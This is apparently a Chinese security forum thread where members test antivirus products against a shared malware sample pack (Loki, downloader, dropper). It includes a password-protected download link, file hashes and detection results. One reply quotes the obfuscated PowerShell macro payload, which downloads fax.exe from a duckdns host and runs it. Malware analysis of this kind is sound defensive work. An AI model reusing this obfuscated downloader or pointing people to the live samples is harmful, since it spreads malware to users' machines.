3x #Loki #Downloader #Dropper

显示全部楼层 · 发表于 2020-2-7 16:21:49

本帖最后由 BE_HC 于 2020-2-7 16:30 编辑

下载:https://www.lanzous.com/i94t26f 密码:2o2r

文件名称：Samp.zip
文件大小：1012408 字节
修改时间：2020年2月7日 16:20:30
MD5 ：63E8411FBB0E739C781071B2DB49107D
SHA1 ：36338295DEBFA907A8E6A2CD4A484A22999F58D9
CRC32 ：3B951125

复制代码

难度较低，有兴趣可以测主防

显示全部楼层 · 发表于 2020-2-7 16:24:53

ESET 2x

显示全部楼层 · 发表于 2020-2-7 16:27:44

BD

显示全部楼层 · 发表于 2020-2-7 16:31:35

本帖最后由挥泪斩情思于 2020-2-7 16:38 编辑

微点佰慧清空

显示全部楼层 · 发表于 2020-2-7 16:34:00

火绒

病毒库时间：2020-02-06 16:15
开始时间：2020-02-07 16:33
总计用时：00:00:02
扫描对象：153
扫描文件：3
发现风险：1
已处理风险：1
病毒详情：
风险路径：F:\浏览器下载\Samp\bi.msi, 病毒名：HEUR:VirTool/DelfInjector.gen!C, 病毒ID：569383c2cb271ffb, 处理结果：已处理，删除文件

复制代码

显示全部楼层 · 发表于 2020-2-7 16:40:57

本帖最后由 ATP_synthase 于 2020-2-7 16:42 编辑

卡巴

显示全部楼层 · 发表于 2020-2-7 16:54:25

本帖最后由 QVM360 于 2020-2-7 17:20 编辑

eset启发干掉2个
vbc.exe - Win32/GenKryptik.EDTQ 特洛伊木马的变种
bi.msi - Win32/Injector.EKJS 特洛伊木马的变种
双击，rtf文档带宏，启用宏后，会调用“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”访问“http://officedocuments.duckdns.org/og/fax.exe”被eset内部黑名单阻止，全程火绒主动防御没反应

Powershell代码：

Powershell $G1='()EX'.replace('()','I'); sal Bo $G1;'(&'+'(G'+'C'+'M'+' *W-'+'O*)'+ 'Ne'+'t.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''http://officedocuments.duckdns.org/og/fax.exe'',$env:APPDATA+''\''+''cloudbase..exe'')'|Bo; start-process($env:APPDATA+'\'+'cloudbase..exe')

复制代码

显示全部楼层 · 发表于 2020-2-7 17:03:06

本帖最后由 QVM360 于 2020-2-7 17:04 编辑

访问该网站时，404...

rtf文件微步分析报告：https://s.threatbook.cn/report/file/40ab001c5baa8b4c900e3edf68c3db3da1fafc1652fefff252776338cd735faf/?env=win7_sp1_enx86_office2013

显示全部楼层 · 发表于 2020-2-7 17:07:19

IKARUS killed 1x.

显示全部楼层 · 发表于 2020-2-7 17:13:23

本帖最后由 swizzer 于 2020-2-7 17:17 编辑

智量3x

双击咖啡2x
doc因为用的是wps，估计无法触发漏洞。。

[病毒样本] 3x #Loki #Downloader #Dropper

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

浏览过的版块